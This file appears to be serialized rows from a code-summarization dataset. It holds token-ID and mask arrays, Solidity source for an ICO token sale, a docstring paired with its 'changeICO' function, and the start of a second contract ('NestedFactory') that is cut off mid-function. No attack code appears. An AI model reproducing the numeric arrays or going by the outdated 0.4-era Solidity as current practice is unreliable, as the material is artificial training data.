0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
2874,
12,
11890,
5034,
516,
1758,
13,
25937,
31,
282,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
pragma solidity ^0.4.18;
// File: contracts/flavours/Ownable.sol
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
// File: contracts/commons/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
// File: contracts/flavours/Lockable.sol
/**
* @title Lockable
* @dev Base contract which allows children to
* implement main operations locking mechanism.
*/
contract Lockable is Ownable {
event Lock();
event Unlock();
bool public locked = false;
/**
* @dev Modifier to make a function callable
* only when the contract is not locked.
*/
modifier whenNotLocked() {
require(!locked);
_;
}
/**
* @dev Modifier to make a function callable
* only when the contract is locked.
*/
modifier whenLocked() {
require(locked);
_;
}
/**
* @dev called by the owner to locke, triggers locked state
*/
function lock() onlyOwner whenNotLocked public {
locked = true;
Lock();
}
/**
* @dev called by the owner
* to unlock, returns to unlocked state
*/
function unlock() onlyOwner whenLocked public {
locked = false;
Unlock();
}
}
// File: contracts/base/BaseFixedERC20Token.sol
contract BaseFixedERC20Token is Lockable {
using SafeMath for uint;
/// @dev ERC20 Total supply
uint public totalSupply;
mapping(address => uint) balances;
mapping(address => mapping (address => uint)) private allowed;
/// @dev Fired if Token transfered accourding to ERC20
event Transfer(address indexed from, address indexed to, uint value);
/// @dev Fired if Token withdraw is approved accourding to ERC20
event Approval(address indexed owner, address indexed spender, uint value);
/**
* @dev Gets the balance of the specified address.
* @param owner_ The address to query the the balance of.
* @return An uint representing the amount owned by the passed address.
*/
function balanceOf(address owner_) public view returns (uint balance) {
return balances[owner_];
}
/**
* @dev Transfer token for a specified address
* @param to_ The address to transfer to.
* @param value_ The amount to be transferred.
*/
function transfer(address to_, uint value_) whenNotLocked public returns (bool) {
require(to_ != address(0) && value_ <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(value_);
balances[to_] = balances[to_].add(value_);
Transfer(msg.sender, to_, value_);
return true;
}
/**
* @dev Transfer tokens from one address to another
* @param from_ address The address which you want to send tokens from
* @param to_ address The address which you want to transfer to
* @param value_ uint the amount of tokens to be transferred
*/
function transferFrom(address from_, address to_, uint value_) whenNotLocked public returns (bool) {
require(to_ != address(0) && value_ <= balances[from_] && value_ <= allowed[from_][msg.sender]);
balances[from_] = balances[from_].sub(value_);
balances[to_] = balances[to_].add(value_);
allowed[from_][msg.sender] = allowed[from_][msg.sender].sub(value_);
Transfer(from_, to_, value_);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering.
*
* To change the approve amount you first have to reduce the addresses
* allowance to zero by calling `approve(spender_, 0)` if it is not
* already 0 to mitigate the race condition described in:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* @param spender_ The address which will spend the funds.
* @param value_ The amount of tokens to be spent.
*/
function approve(address spender_, uint value_) whenNotLocked public returns (bool) {
if (value_ != 0 && allowed[msg.sender][spender_] != 0) {
revert();
}
allowed[msg.sender][spender_] = value_;
Approval(msg.sender, spender_, value_);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param owner_ address The address which owns the funds.
* @param spender_ address The address which will spend the funds.
* @return A uint specifying the amount of tokens still available for the spender.
*/
function allowance(address owner_, address spender_) view public returns (uint) {
return allowed[owner_][spender_];
}
}
// File: contracts/base/BaseICOToken.sol
/**
* @dev Not mintable, ERC20 compilant token, distributed by ICO/Pre-ICO.
*/
contract BaseICOToken is BaseFixedERC20Token {
/// @dev Available supply of tokens
uint public availableSupply;
/// @dev ICO/Pre-ICO smart contract allowed to distribute public funds for this
address public ico;
/// @dev Fired if investment for `amount` of tokens performed by `to` address
event ICOTokensInvested(address indexed to, uint amount);
/// @dev ICO contract changed for this token
event ICOChanged(address indexed icoContract);
/**
* @dev Not mintable, ERC20 compilant token, distributed by ICO/Pre-ICO.
* @param totalSupply_ Total tokens supply.
*/
function BaseICOToken(uint totalSupply_) public {
locked = true;
totalSupply = totalSupply_;
availableSupply = totalSupply_;
}
/**
* @dev Set address of ICO smart-contract which controls token
* initial token distribution.
* @param ico_ ICO contract address.
*/
function changeICO(address ico_) onlyOwner public {
ico = ico_;
ICOChanged(ico);
}
function isValidICOInvestment(address to_, uint amount_) internal view returns(bool) {
return msg.sender == ico && to_ != address(0) && amount_ <= availableSupply;
}
/**
* @dev Assign `amount_` of tokens to investor identified by `to_` address.
* @param to_ Investor address.
* @param amount_ Number of tokens distributed.
*/
function icoInvestment(address to_, uint amount_) public returns (uint) {
require(isValidICOInvestment(to_, amount_));
availableSupply -= amount_;
balances[to_] = balances[to_].add(amount_);
ICOTokensInvested(to_, amount_);
return amount_;
}
}
// File: contracts/base/BaseICO.sol
/**
* @dev Base abstract smart contract for any ICO
*/
contract BaseICO is Ownable {
/// @dev ICO state
enum State {
// ICO is not active and not started
Inactive,
// ICO is active, tokens can be distributed among investors.
// ICO parameters (end date, hard/low caps) cannot be changed.
Active,
// ICO is suspended, tokens cannot be distributed among investors.
// ICO can be resumed to `Active state`.
// ICO parameters (end date, hard/low caps) may changed.
Suspended,
// ICO is termnated by owner, ICO cannot be resumed.
Terminated,
// ICO goals are not reached,
// ICO terminated and cannot be resumed.
NotCompleted,
// ICO completed, ICO goals reached successfully,
// ICO terminated and cannot be resumed.
Completed
}
/// @dev Token which controlled by this ICO
BaseICOToken public token;
/// @dev Current ICO state.
State public state;
/// @dev ICO start date seconds since epoch.
uint public startAt;
/// @dev ICO end date seconds since epoch.
uint public endAt;
/// @dev Minimal amount of investments in wei needed for successfull ICO
uint public lowCapWei;
/// @dev Maximal amount of investments in wei for this ICO.
/// If reached ICO will be in `Completed` state.
uint public hardCapWei;
/// @dev Minimal amount of investments in wei per investor.
uint public lowCapTxWei;
/// @dev Maximal amount of investments in wei per investor.
uint public hardCapTxWei;
/// @dev Number of investments collected by this ICO
uint public collectedWei;
/// @dev Team wallet used to collect funds
address public teamWallet;
/// @dev True if whitelist enabled
bool public whitelistEnabled = true;
/// @dev ICO whitelist
mapping (address => bool) public whitelist;
// ICO state transition events
event ICOStarted(uint indexed endAt, uint lowCapWei, uint hardCapWei, uint lowCapTxWei, uint hardCapTxWei);
event ICOResumed(uint indexed endAt, uint lowCapWei, uint hardCapWei, uint lowCapTxWei, uint hardCapTxWei);
event ICOSuspended();
event ICOTerminated();
event ICONotCompleted();
event ICOCompleted(uint collectedWei);
event ICOInvestment(address indexed from, uint investedWei, uint tokens, uint8 bonusPct);
event ICOWhitelisted(address indexed addr);
event ICOBlacklisted(address indexed addr);
modifier isSuspended() {
require(state == State.Suspended);
_;
}
modifier isActive() {
require(state == State.Active);
_;
}
/**
* Add address to ICO whitelist
* @param address_ Investor address
*/
function whitelist(address address_) external onlyOwner {
whitelist[address_] = true;
ICOWhitelisted(address_);
}
/**
* Remove address from ICO whitelist
* @param address_ Investor address
*/
function blacklist(address address_) external onlyOwner {
delete whitelist[address_];
ICOBlacklisted(address_);
}
/**
* @dev Returns true if given address in ICO whitelist
*/
function whitelisted(address address_) public view returns (bool) {
if (whitelistEnabled) {
return whitelist[address_];
} else {
return true;
}
}
/**
* @dev Enable whitelisting
*/
function enableWhitelist() public onlyOwner {
whitelistEnabled = true;
}
/**
* @dev Disable whitelisting
*/
function disableWhitelist() public onlyOwner {
whitelistEnabled = false;
}
/**
* @dev Trigger start of ICO.
* @param endAt_ ICO end date, seconds since epoch.
*/
function start(uint endAt_) onlyOwner public {
require(endAt_ > block.timestamp && state == State.Inactive);
endAt = endAt_;
startAt = block.timestamp;
state = State.Active;
ICOStarted(endAt, lowCapWei, hardCapWei, lowCapTxWei, hardCapTxWei);
}
/**
* @dev Suspend this ICO.
* ICO can be activated later by calling `resume()` function.
* In suspend state, ICO owner can change basic ICO paraneter using `tune()` function,
* tokens cannot be distributed among investors.
*/
function suspend() onlyOwner isActive public {
state = State.Suspended;
ICOSuspended();
}
/**
* @dev Terminate the ICO.
* ICO goals are not reached, ICO terminated and cannot be resumed.
*/
function terminate() onlyOwner public {
require(state != State.Terminated &&
state != State.NotCompleted &&
state != State.Completed);
state = State.Terminated;
ICOTerminated();
}
/**
* @dev Change basic ICO paraneters. Can be done only during `Suspended` state.
* Any provided parameter is used only if it is not zero.
* @param endAt_ ICO end date seconds since epoch. Used if it is not zero.
* @param lowCapWei_ ICO low capacity. Used if it is not zero.
* @param hardCapWei_ ICO hard capacity. Used if it is not zero.
* @param lowCapTxWei_ Min limit for ICO per transaction
* @param hardCapTxWei_ Hard limit for ICO per transaction
*/
function tune(uint endAt_,
uint lowCapWei_,
uint hardCapWei_,
uint lowCapTxWei_,
uint hardCapTxWei_) onlyOwner isSuspended public {
if (endAt_ > block.timestamp) {
endAt = endAt_;
}
if (lowCapWei_ > 0) {
lowCapWei = lowCapWei_;
}
if (hardCapWei_ > 0) {
hardCapWei = hardCapWei_;
}
if (lowCapTxWei_ > 0) {
lowCapTxWei = lowCapTxWei_;
}
if (hardCapTxWei_ > 0) {
hardCapTxWei = hardCapTxWei_;
}
require(lowCapWei <= hardCapWei && lowCapTxWei <= hardCapTxWei);
touch();
}
/**
* @dev Resume a previously suspended ICO.
*/
function resume() onlyOwner isSuspended public {
state = State.Active;
ICOResumed(endAt, lowCapWei, hardCapWei, lowCapTxWei, hardCapTxWei);
touch();
}
/**
* @dev Send ether to the fund collection wallet
*/
function forwardFunds() internal {
teamWallet.transfer(msg.value);
}
/**
* @dev Recalculate ICO state based on current block time.
* Should be called periodically by ICO owner.
*/
function touch() public;
/**
* @dev Buy tokens
*/
function buyTokens() public payable;
}
// File: contracts/MDICOStage1.sol
/**
* @title MD tokens ICO Stage 1 contract.
*/
contract MDICOStage1 is BaseICO {
using SafeMath for uint;
/// @dev 18 decimals for token
uint internal constant ONE_TOKEN = 1e18;
/// @dev 1e18 WEI == 1ETH == 1000 tokens
uint public constant ETH_TOKEN_EXCHANGE_RATIO = 1000;
/// @dev 50% bonus for ICO Stage 1
uint8 internal constant BONUS = 50; // 50%
function MDICOStage1(address icoToken_,
address teamWallet_,
uint lowCapWei_,
uint hardCapWei_,
uint lowCapTxWei_,
uint hardCapTxWei_) public {
require(icoToken_ != address(0) && teamWallet_ != address(0));
token = BaseICOToken(icoToken_);
teamWallet = teamWallet_;
state = State.Inactive;
lowCapWei = lowCapWei_;
hardCapWei = hardCapWei_;
lowCapTxWei = lowCapTxWei_;
hardCapTxWei = hardCapTxWei_;
}
/**
* @dev Recalculate ICO state based on current block time.
* Should be called periodically by ICO owner.
*/
function touch() public {
if (state != State.Active && state != State.Suspended) {
return;
}
if (collectedWei >= hardCapWei) {
state = State.Completed;
endAt = block.timestamp;
ICOCompleted(collectedWei);
} else if (block.timestamp >= endAt) {
if (collectedWei < lowCapWei) {
state = State.NotCompleted;
ICONotCompleted();
} else {
state = State.Completed;
ICOCompleted(collectedWei);
}
}
}
function buyTokens() public payable {
require(state == State.Active &&
block.timestamp <= endAt &&
msg.value >= lowCapTxWei &&
msg.value <= hardCapTxWei &&
collectedWei + msg.value <= hardCapWei &&
whitelisted(msg.sender));
uint amountWei = msg.value;
uint iwei = amountWei.mul(100 + BONUS).div(100);
uint itokens = iwei * ETH_TOKEN_EXCHANGE_RATIO;
token.icoInvestment(msg.sender, itokens); // Transfer tokens to investor
collectedWei = collectedWei.add(amountWei);
ICOInvestment(msg.sender, amountWei, itokens, BONUS);
forwardFunds();
touch();
}
/**
* Accept direct payments
*/
function() external payable {
buyTokens();
}
} | * @dev Set address of ICO smart-contract which controls token initial token distribution. @param ico_ ICO contract address./ | function changeICO(address ico_) onlyOwner public {
ico = ico_;
ICOChanged(ico);
}
| 6,691,136 | [
1,
694,
1758,
434,
467,
3865,
13706,
17,
16351,
1492,
11022,
1147,
2172,
1147,
7006,
18,
225,
277,
2894,
67,
467,
3865,
6835,
1758,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
225,
445,
2549,
2871,
51,
12,
2867,
277,
2894,
67,
13,
1338,
5541,
1071,
288,
203,
565,
277,
2894,
273,
277,
2894,
67,
31,
203,
565,
467,
3865,
5033,
12,
10764,
1769,
203,
225,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity 0.8.11;
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "./abstracts/OwnableProxyDelegation.sol";
import "./abstracts/MixinOperatorResolver.sol";
import "./libraries/ExchangeHelpers.sol";
import "./interfaces/external/IWETH.sol";
import "./interfaces/INestedFactory.sol";
import "./FeeSplitter.sol";
import "./NestedReserve.sol";
import "./NestedAsset.sol";
import "./NestedRecords.sol";
import "./Withdrawer.sol";
import "hardhat/console.sol";
/// @title Creates, updates and destroys NestedAssets (portfolios).
/// @notice Responsible for the business logic of the protocol and interaction with operators
contract NestedFactory is INestedFactory, ReentrancyGuard, OwnableProxyDelegation, MixinOperatorResolver {
/* ----------------------------- VARIABLES ----------------------------- */
address private constant ETH = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
/// @dev Supported operators by the factory contract
bytes32[] private operators;
/// @dev Current feeSplitter contract/address
FeeSplitter public feeSplitter;
/// @dev Current reserve contract/address
NestedReserve public immutable reserve;
/// @dev Current nested asset (ERC721) contract/address
NestedAsset public immutable nestedAsset;
/// @dev Wrapped Ether contract/address
/// Note: Will be WMATIC, WAVAX, WBNB,... Depending on the chain.
IWETH public immutable weth;
/// @dev Current records contract/address
NestedRecords public immutable nestedRecords;
/// @dev Helper to withdraw native tokens from wrapper
Withdrawer private immutable withdrawer;
/// @dev Fees when funds stay in portfolios
/// From 1 to 10,000 (0.01% to 100%)
uint256 public entryFees;
/// @dev Fees when funds are withdrawed
/// From 1 to 10,000 (0.01% to 100%)
uint256 public exitFees;
/* ---------------------------- CONSTRUCTOR ---------------------------- */
constructor(
NestedAsset _nestedAsset,
NestedRecords _nestedRecords,
NestedReserve _reserve,
FeeSplitter _feeSplitter,
IWETH _weth,
address _operatorResolver,
Withdrawer _withdrawer
) MixinOperatorResolver(_operatorResolver) {
require(
address(_nestedAsset) != address(0) &&
address(_nestedRecords) != address(0) &&
address(_reserve) != address(0) &&
address(_feeSplitter) != address(0) &&
address(_weth) != address(0) &&
_operatorResolver != address(0) &&
address(_withdrawer) != address(0),
"NF: INVALID_ADDRESS"
);
nestedAsset = _nestedAsset;
nestedRecords = _nestedRecords;
reserve = _reserve;
feeSplitter = _feeSplitter;
weth = _weth;
withdrawer = _withdrawer;
}
/// @dev Receive function
receive() external payable {
require(msg.sender == address(withdrawer), "NF: ETH_SENDER_NOT_WITHDRAWER");
}
/* ------------------------------ MODIFIERS ---------------------------- */
/// @dev Reverts the transaction if the caller is not the token owner
/// @param _nftId The NFT Id
modifier onlyTokenOwner(uint256 _nftId) {
require(nestedAsset.ownerOf(_nftId) == _msgSender(), "NF: CALLER_NOT_OWNER");
_;
}
/// @dev Reverts the transaction if the nft is locked (hold by design).
/// The block.timestamp must be greater than NFT record lock timestamp
/// @param _nftId The NFT Id
modifier isUnlocked(uint256 _nftId) {
require(block.timestamp > nestedRecords.getLockTimestamp(_nftId), "NF: LOCKED_NFT");
_;
}
/* ------------------------------- VIEWS ------------------------------- */
/// @notice Get the required operators
function resolverOperatorsRequired() public view override returns (bytes32[] memory) {
return operators;
}
/* -------------------------- OWNER FUNCTIONS -------------------------- */
/// @inheritdoc INestedFactory
function addOperator(bytes32 operator) external override onlyOwner {
require(operator != bytes32(""), "NF: INVALID_OPERATOR_NAME");
bytes32[] memory operatorsCache = operators;
for (uint256 i = 0; i < operatorsCache.length; i++) {
require(operatorsCache[i] != operator, "NF: EXISTENT_OPERATOR");
}
operators.push(operator);
rebuildCache();
emit OperatorAdded(operator);
}
/// @inheritdoc INestedFactory
function removeOperator(bytes32 operator) external override onlyOwner {
bytes32[] storage operatorsCache = operators;
uint256 operatorsLength = operatorsCache.length;
for (uint256 i = 0; i < operatorsLength; i++) {
if (operatorsCache[i] == operator) {
operatorsCache[i] = operators[operatorsLength - 1];
operatorsCache.pop();
if (operatorCache[operator].implementation != address(0)) {
delete operatorCache[operator]; // remove from cache
}
rebuildCache();
emit OperatorRemoved(operator);
return;
}
}
revert("NF: NON_EXISTENT_OPERATOR");
}
/// @inheritdoc INestedFactory
function setFeeSplitter(FeeSplitter _feeSplitter) external override onlyOwner {
require(address(_feeSplitter) != address(0), "NF: INVALID_FEE_SPLITTER_ADDRESS");
feeSplitter = _feeSplitter;
emit FeeSplitterUpdated(address(_feeSplitter));
}
/// @inheritdoc INestedFactory
function setEntryFees(uint256 _entryFees) external override onlyOwner {
require(_entryFees != 0, "NF: ZERO_FEES");
require(_entryFees <= 10000, "NF: FEES_OVERFLOW");
entryFees = _entryFees;
emit EntryFeesUpdated(_entryFees);
}
/// @inheritdoc INestedFactory
function setExitFees(uint256 _exitFees) external override onlyOwner {
require(_exitFees != 0, "NF: ZERO_FEES");
require(_exitFees <= 10000, "NF: FEES_OVERFLOW");
exitFees = _exitFees;
emit ExitFeesUpdated(_exitFees);
}
/// @inheritdoc INestedFactory
function unlockTokens(IERC20 _token) external override onlyOwner {
uint256 amount = _token.balanceOf(address(this));
SafeERC20.safeTransfer(_token, msg.sender, amount);
emit TokensUnlocked(address(_token), amount);
}
/* -------------------------- USERS FUNCTIONS -------------------------- */
/// @inheritdoc INestedFactory
function create(uint256 _originalTokenId, BatchedInputOrders[] calldata _batchedOrders)
external
payable
override
nonReentrant
{
uint256 batchedOrdersLength = _batchedOrders.length;
require(batchedOrdersLength != 0, "NF: INVALID_MULTI_ORDERS");
_checkMsgValue(_batchedOrders);
uint256 nftId = nestedAsset.mint(_msgSender(), _originalTokenId);
for (uint256 i = 0; i < batchedOrdersLength; i++) {
(uint256 fees, IERC20 tokenSold) = _submitInOrders(nftId, _batchedOrders[i], false);
_transferFeeWithRoyalty(fees, tokenSold, nftId);
}
emit NftCreated(nftId, _originalTokenId);
}
/// @inheritdoc INestedFactory
function processInputOrders(uint256 _nftId, BatchedInputOrders[] calldata _batchedOrders)
external
payable
override
nonReentrant
onlyTokenOwner(_nftId)
isUnlocked(_nftId)
{
_checkMsgValue(_batchedOrders);
_processInputOrders(_nftId, _batchedOrders);
emit NftUpdated(_nftId);
}
/// @inheritdoc INestedFactory
function processOutputOrders(uint256 _nftId, BatchedOutputOrders[] calldata _batchedOrders)
external
override
nonReentrant
onlyTokenOwner(_nftId)
isUnlocked(_nftId)
{
_processOutputOrders(_nftId, _batchedOrders);
emit NftUpdated(_nftId);
}
/// @inheritdoc INestedFactory
function processInputAndOutputOrders(
uint256 _nftId,
BatchedInputOrders[] calldata _batchedInputOrders,
BatchedOutputOrders[] calldata _batchedOutputOrders
) external payable override nonReentrant onlyTokenOwner(_nftId) isUnlocked(_nftId) {
_checkMsgValue(_batchedInputOrders);
_processInputOrders(_nftId, _batchedInputOrders);
_processOutputOrders(_nftId, _batchedOutputOrders);
emit NftUpdated(_nftId);
}
/// @inheritdoc INestedFactory
function destroy(
uint256 _nftId,
IERC20 _buyToken,
Order[] calldata _orders
) external override nonReentrant onlyTokenOwner(_nftId) isUnlocked(_nftId) {
address[] memory tokens = nestedRecords.getAssetTokens(_nftId);
uint256 tokensLength = tokens.length;
require(_orders.length != 0, "NF: INVALID_ORDERS");
require(tokensLength == _orders.length, "NF: INPUTS_LENGTH_MUST_MATCH");
require(nestedRecords.getAssetReserve(_nftId) == address(reserve), "NF: RESERVE_MISMATCH");
uint256 buyTokenInitialBalance = _buyToken.balanceOf(address(this));
for (uint256 i = 0; i < tokensLength; i++) {
address token = tokens[i];
uint256 amount = _safeWithdraw(token, _nftId);
_safeSubmitOrder(token, address(_buyToken), amount, _nftId, _orders[i]);
}
// Amount calculation to send fees and tokens
uint256 amountBought = _buyToken.balanceOf(address(this)) - buyTokenInitialBalance;
uint256 amountFees = (amountBought * exitFees) / 10000; // Exit Fees
unchecked {
amountBought -= amountFees;
_transferFeeWithRoyalty(amountFees, _buyToken, _nftId);
_safeTransferAndUnwrap(_buyToken, amountBought, _msgSender());
}
// Burn NFT
nestedRecords.removeNFT(_nftId);
nestedAsset.burn(_msgSender(), _nftId);
}
/// @inheritdoc INestedFactory
function withdraw(uint256 _nftId, uint256 _tokenIndex)
external
override
nonReentrant
onlyTokenOwner(_nftId)
isUnlocked(_nftId)
{
uint256 assetTokensLength = nestedRecords.getAssetTokensLength(_nftId);
require(assetTokensLength > _tokenIndex, "NF: INVALID_TOKEN_INDEX");
// Use destroy instead if NFT has a single holding
require(assetTokensLength > 1, "NF: UNALLOWED_EMPTY_PORTFOLIO");
require(nestedRecords.getAssetReserve(_nftId) == address(reserve), "NF: RESERVE_MISMATCH");
address token = nestedRecords.getAssetTokens(_nftId)[_tokenIndex];
uint256 amount = _safeWithdraw(token, _nftId);
_safeTransferWithFees(IERC20(token), amount, _msgSender(), _nftId);
nestedRecords.deleteAsset(_nftId, _tokenIndex);
emit NftUpdated(_nftId);
}
/// @inheritdoc INestedFactory
function updateLockTimestamp(uint256 _nftId, uint256 _timestamp) external override onlyTokenOwner(_nftId) {
nestedRecords.updateLockTimestamp(_nftId, _timestamp);
}
/* ------------------------- PRIVATE FUNCTIONS ------------------------- */
/// @dev Internal logic extraction of processInputOrders()
/// @param _nftId The id of the NFT to update
/// @param _batchedOrders The order to execute
function _processInputOrders(uint256 _nftId, BatchedInputOrders[] calldata _batchedOrders) private {
uint256 batchedOrdersLength = _batchedOrders.length;
require(batchedOrdersLength != 0, "NF: INVALID_MULTI_ORDERS");
require(nestedRecords.getAssetReserve(_nftId) == address(reserve), "NF: RESERVE_MISMATCH");
for (uint256 i = 0; i < batchedOrdersLength; i++) {
